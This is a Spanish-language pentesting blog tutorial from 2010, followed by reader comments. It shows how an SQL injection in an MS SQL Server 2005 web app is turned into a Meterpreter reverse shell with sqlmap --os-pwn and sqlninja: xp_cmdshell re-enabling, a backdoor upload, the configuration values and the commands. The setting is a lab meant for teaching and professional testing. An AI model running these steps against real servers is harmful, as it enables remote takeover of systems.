lunes, 13 de diciembre de 2010

SQL Injection Hasta la Cocina - MS SQL Server

Hay determinadas vulnerabilidades que frecuentemente son menospreciadas, bien porque se considera que por si misma tienen poco impacto sobre los sistemas, o bien porque se considera que la máquina es poco importante.

En el caso de las Inyecciones SQL la gente suele tomárselas en serio, pero existe la sensación de que es una vulnerabilidad que "solo" permite acceder a la información de la base de datos, por lo que si el sistema no contiene información sensible suele ser tratada como una vulnerabilidad poco importante.

Sin embargo, depende del tipo, versión y configuración de la base de datos, es posible obtener control total de una máquina a través de una Inyección SQL, y a partir de ahí utilizar ese acceso para emplear cualquier técnica de post-explotación como puede ser crackeo de contraseñas, relaying, etc.

Concretamente, para este primer post, vamos a utilizar una vulnerabilidad de Inyección SQL en una aplicación web que utiliza un servidor de base de datos Microsoft SQL Server 2005, donde el usuario utilizado tiene privilegios de administrador. Concretamente, vamos a utilizar exactamente el mismo entorno y aplicación web utilizado en este otro post, aunque vosotros lo podéis utilizar con cualquier otra.

En versiones anteriores de MS SQL Server era posible, aunque el usuario no tuviera privilegios de administrador, realizar un ataque de fuerza bruta contra la contraseña del usuario "sa", y si esta era encontrada se podían lanzar todo tipo de comandos SQL con esos privilegios, pero para este post, por simplicidad, vamos a suponer que el usuario ya dispone de privilegios de administrador.

La explotación de esta vulnerabilidad, por supuesto, podríamos hacerla completamente a mano, lo cual es muy útil con fines didácticos y para entender bien el ataque, pero para este post vamos a usar dos herramientas que realizan todas estas acciones de forma automática: SQLMap y SQLNinja.

A modo de explicación de lo que realizan estas herramientas a bajo nivel, realizan los siguientes pasos (los nombres de los ficheros y extensiones no son exactos, pero sirven para que entendemos como funciona):
  1. Establecemos el tipo de conexión que queremos, shell directa o inversa, puertos, tipo de payload, codificación, etc.
  2. Se general un binario backdoor.exe (o el nombre que sea) mediante el uso de msfpayload de Metasploit, con las opciones anteriormente definidas.
  3. Convertimos backdoor.exe (binario) en un fichero de texto auto-extraible backdoor.bat (por ejemplo).
  4. Subimos el contenido texto de backdoor.bat mediante el uso de xp_cmdshell (básicamente como si hicieramos un echo "blablablabla" >> backdoor.bat hasta que tengamos todo el fichero subido).
  5. Ejecutamos backdoor.bat para que backdoor.exe sea desplegado en el sistema.
  6. Lanzamos msfconsole o msfcli con los parámetros adecuados para recibir la conexión (supongamos que elegimos hacer un reverse shell.
  7. Ejecutamos backdoor.exe, que lanzará la conexión contra nuestro Metasploit, y se iniciará la sesión en el sistema comprometido.
  8. A divertirse :)
Una vez que sabemos y entendemos como funcionan estas herramientas, podemos pasar a utilizarlas para que nuestra explotación sea más ágil y rápida:


Una vez hemos comprobado que el parámetros es vulnerable, tal y como hacíamos en este post anterior, comprobaremos a ver si tenemos suerte y el usuario utilizado por la aplicación web es administrador de la base de datos:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --is-dba


Teniendo el usuario privilegios de DBA, se nos abre la posibilidad de "entrar hasta la cocina" en esta máquina, ya que con estos privilegios podremos reactivar la función xp_cmdshell, que nos va a permitir la ejecución de comandos en la máquina, incluyendo alguno de los Payloads de Metasploit:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --msf-path=/opt/metasploit3/msf3 --os-pwn

Durante el proceso, se nos irán haciendo algunas preguntas para definir mejor la explotación que queremos hacer. Si utilizamos todas las opciones por defecto tendremos una reverse shell con Meterpreter. Unicamente es necesario definir un par de parámetros, el primero es para "autorizar" al SQLMap a activar el procedimiento xp_cmdshell, y el segundo es para definir la IP y Puerto Local, que nos interesa que sea nuestra IP Pública (si salimos por NAT) y el puerto 80, que es el que más fácilmente estará abierto de salida hacia Internet:

xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y

which is the local address? [172.16.24.150] 172.16.24.150
which local port number do you want to use? [12251] 80

Una vez elegidas todas las opciones, SQLMap utiliza el msfpayload de Metasploit para generar un binario, en este caso un Meterpreter, que será codificado en modo texto para ser subido al servidor, a través de la Inyección SQL existente:


Cuando acabe de subirlo, lanzará tanto Metasploit con el Handler adecuado, como el binario generado dentro del servidor de base de datos, con lo que se establecerá la sesión de Meterpreter en el sistema que contiene la base de datos:


Como podemos ver, tenemos el Meterpreter ejecutándose con los privilegios del usuario "Servicio de red", que no dispone de los privilegios suficientes como para hacer un Dump de los Hashes del sistema, pero que nos da un primer punto de entrada en el sistema para luego elevar privilegios de alguna forma y poder tomar control total del sistema.


¡Hasta la cocina!
(con SQLMap)


SQLNinja es otra de las herramientas que podemos usar para hacer este tipo de ataques. Al contrario de lo que sucede en SQLMap, en SQLNinja deberemos definir algunos de los parámetros del ataque en un fichero de configuración llamado sqlninja.conf, que se encuentra en el mismo directorio de la herramienta. En el caso que nos ocupa, deberemos cambiar los siguientes parámetros del fichero para configurar nuestro host objetivo, y dejar el resto de parámetros tal como están:

host = 172.16.24.151
port = 80
method = GET
page = /default.asp
stringstart = id=1;
stringend =
lhost = 172.16.24.150
msfpath = /opt/metasploit3/msf3/

Ahora solo tenemos que lanzar SQLNinja con la opción -m test para comprobar si detecta correctamente la inyección:

# ./sqlninja -m test


Podríamos ahora utilizar SQLNinja para sacar toda la información de la base de datos tal y como hemos hecho con SQLMap en otras ocasiones, pero esta vez vamos a lo que vamos, y el objetivo es conseguir el control de la máquina, así que vamos directamente a ello. Lo primero de todo es ver si xp_cmdshell se encuentra disponible:

# ./sqlninja -m fingerprint


Lo tenemos desactivado, pero vemos que tenemos privilegios de administrador de la base de datos, así que como ocurría en SQLMap, vamos a poder re-activarlo, de la siguiente forma:

# ./sqlninja -m resurrectxp


Ahora que ya tenemos el xp_cmdshell activado, ya podemos generar el payload Meterpreter igual que hacíamos antes:

# ./sqlninja -m metasploit


SQLNinja sube el payload de Metasploit a la máquina comprometida y posteriormente lo ejecuta con xp_cmdshell, y lanza de forma automática el Metasploit para recibir esta conexión:


A partir de aquí ya tenemos el Meterpreter ejecutándose en la máquina, al igual que teníamos con SQLMap, así que ya solo tenemos que elevar privilegios de la misma forma de antes (si podemos) para obtener el control total de la máquina.

¡Hasta la cocina!
(con SQLNinja)

Por supuesto, podríamos utilizar cualquier otra herramienta que hiciera algo parecido a lo que acabamos de ver, o incluso codear algo parecido o hacerlo a mano si nuestro escenario de explotación es muy particular y las herramientas disponibles no funcionan, pero el proceso sería más o menos el mismo.

10 comentarios :

fossie dijo...

Muy buena entrada.

Esta claro que con cualquiera de esos programas es bastante más fácil hacer una shell remota que hacerlo a mano pero, como tu dices, eso ya es para entrar "hasta la cocina" si es para aprender me vale con un simple xp_cmdshell 'dir c:\' (que ya es bastante peligroso)

Una vez me puse a trastear un poco con SQLMap y SQLNinja pero no les saque mucha punta. Tal vez un día me vuelva a dar el punto y vuelva a intentarlo.

RoBe! dijo...

Muy interesante y muy clarito. Genial, como siempre.

Jose Selvi dijo...

Gracias a los dos :)

@fossie: Si tienes que hacer Pentest profesional, si te recomiendo que intentes utilizar herramientas que automaticen las cosas automatizables (valga la redundancia). Pueden ser estas, otras, o alguna que te hayas hecho tu mismo, pero hay tareas en los Pentest que hacerlas a mano... es demasiado largo como para poderlo hacer en un Pentest profesional "normal".

miguel dijo...

como siempre, sencillamente genial!

Unknown dijo...

Me ha encantado tu entrada.
No obstante, en un pentest reciente nos quedamos en el punto que tu dices: "Por simplicidad..."

Y no es trivial, pero para MSSQL 2005 es seguramente muy posible crackear el pass de sa de forma indirecta. Me quedé a medias en un programilla que intenta subir privilegios en ese escenario, intentaré acabarlo cuando tenga tiempo y subirlo para la comunidad...

En el comentado proyecto, pudimos documentar que era posible entrar hasta la cocina socretodo con mas medios (para conseguir "sa") y luego estar en la posición que describes en el post.

Saludos!

Jose Selvi dijo...

@Fortià: Los métodos que conozco yo para MS SQL Server 2005 no sirven con la configuración que viene por defecto.

Otra cosa que se me ocurre es explotar alguna vulnerabilidad de "privilege escalation" que haya sido publicada para esa versión del software pero que no haya sido parcheada, pero eso no es una técnica "estandar", depende un poco del nivel de parcheo del servicio.

Comparte con nosotros tu método :)

Foden dijo...

Selvi! buena entrada, ademas con dos de mis tools favoritas, la verdad es que tanto el sqlmap como el sqlninja han mejorado mucho con la inclusión del metasploit.

JAVI dijo...

Fantástico post, esta muy detallado y explicado. Con trabajos asi uno pone la mejor de sus sonrisas... Compartid vuestra sonrisa!!

http://sonriesmile.com/

Unknown dijo...

Hola Selvi,

perdon por el retraso de 3 años en contestar hahaha (ya ni me acordaba de esto) ;)

Resulta que un compañero me comentaba de casualidad que habia llegado a este post a partir de uno reciente:

http://www.pentester.es/2013/04/sql-injection-hasta-la-cocina-oracle-i.html y me había leído.

Bien, en realidad lo que comentaba era una cosa muy simple: usar la salida de la función openrowset haciendo brute-force en el parametro password. Creo que no he leído nunca acerca de esa obviedad, puesto que la función da mucho más de sí, y de hecho iría alineada y lo consideraria la forma un poco más manual de entrar "hasta la cocina" como comentabas en el post.

Enlazo si no te sabe mal un documento de Cesar Cerrudo de Application Security Inc, donde se extiende en muchos ejemplos para entrar también "hasta la cocina" con openrowset ;)

http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf

Jose Selvi dijo...

Hola @Unknown,

En primer lugar, no me importa para nada que enlacéis información referente al tema del post que se trata, cuanta más mejor! Lo que sí que no me gusta es que la gente me ponga Spam xD

En cuanto a lo de OPENROWSET, sí que es algo conocido que se puede usar para hacer fuerza bruta de la contraseña de "sa" y así hacer una elevación de privilegios. De hecho esta técnica viene integrada con la mayoría de herramientas (SQLMap, SQLNinja, ...).

El problema que tiene esta función, hasta donde yo sé, es que está desactivada por defecto en SQL Server 2005 y posteriores, así que tendría que ser una base de datos bastante antigua para poder aplicar estas técnicas (aunque alguna se encuentra por ahí aún).

Gracias por el comentario, aportaba información muy interesante :)

Saludos!